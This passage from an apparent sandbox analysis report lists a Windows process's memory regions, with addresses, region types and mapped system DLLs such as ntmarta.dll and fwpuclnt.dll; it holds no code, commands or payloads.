end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4792 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4793 start_va = 0x560000 end_va = 0x560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 4794 start_va = 0x2f30000 end_va = 0x2f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 4795 start_va = 0x2f70000 end_va = 0x2faffff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 4796 start_va = 0x3020000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 4797 start_va = 0x7ef92000 end_va = 0x7ef94fff entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 4798 start_va = 0x751b0000 end_va = 0x751d0fff entry_point = 0x751b145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 4799 start_va = 0x75f60000 end_va = 0x75fa4fff entry_point = 0x75f611e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 4800 start_va = 0x74010000 end_va = 0x74018fff entry_point = 0x74011220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4801 start_va = 0x3030000 end_va = 0x3372fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003030000" filename = "" Region: id = 4802 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4803 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4804 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4805 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4806 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4807 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4808 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4809 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4810 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4811 start_va = 0x570000 end_va = 0x570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 4812 start_va = 0x758e0000 end_va = 0x75962fff entry_point = 0x758e23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4813 start_va = 0x5c0000 end_va = 0x5c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 4814 start_va = 0x74aa0000 end_va = 0x74af9fff entry_point = 0x74aa1f35 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 4815 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4816 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4817 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4818 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4819 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4820 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4821 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4822 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4823 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4824 start_va = 0x74b00000 end_va = 0x74b37fff entry_point = 0x74b0990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 4825 start_va = 0x3380000 end_va = 0x349ffff entry_point = 0x0 region_type = private name = "private_0x0000000003380000" filename = "" Region: id = 4826 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4827 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4828 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4829 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4830 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4831 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4832 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4833 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4843 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4844 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4845 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4846 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4847 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4848 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4849 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4850 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4851 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4852 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4853 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4854 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4855 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4856 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4857 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4858 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4884 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4885 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4886 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4887 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4888 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4889 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4890 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4891 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4892 start_va = 0x2990000 end_va = 0x2d9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 4914 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4915 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4916 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4917 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4918 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4919 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4920 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4921 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4922 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4923 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4924 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4925 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4926 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4927 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4928 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4929 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4930 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4931 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4932 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4933 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4934 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4935 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4936 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4937 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4938 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4939 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4940 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4941 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4942 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4943 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4944 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4945 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4946 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4947 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4948 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4949 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4950 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4951 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4952 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4953 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4954 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4955 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4956 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4957 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4958 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4959 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4960 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4961 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4962 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4963 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4964 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4965 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4966 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4967 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4968 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4969 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4970 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4971 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4972 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4973 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 4995 start_va = 0x74a30000 end_va = 0x74a3dfff entry_point = 0x74a31235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4996 start_va = 0x2820000 end_va = 0x285ffff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 4997 start_va = 0x2a90000 end_va = 0x2acffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 4998 start_va = 0x7ef8f000 end_va = 0x7ef91fff entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 4999 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5000 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5001 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5002 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5003 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5004 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5005 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5006 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5007 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5008 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5009 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5010 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5011 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5012 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5013 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5014 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5015 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5016 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5017 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5018 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5019 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5020 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5021 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5022 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5023 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5024 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5025 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5026 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5027 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5028 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5029 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5030 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5031 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5032 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5033 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5034 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5035 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5036 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5037 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5038 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5039 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5040 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5041 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5042 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5043 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5044 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5045 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5046 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5047 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5048 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5049 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5050 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5070 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5071 start_va = 0x29b0000 end_va = 0x29effff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 5072 start_va = 0x2b00000 end_va = 0x2b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 5073 start_va = 0x7ef8c000 end_va = 0x7ef8efff entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 5074 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5075 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5076 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5077 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5078 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = 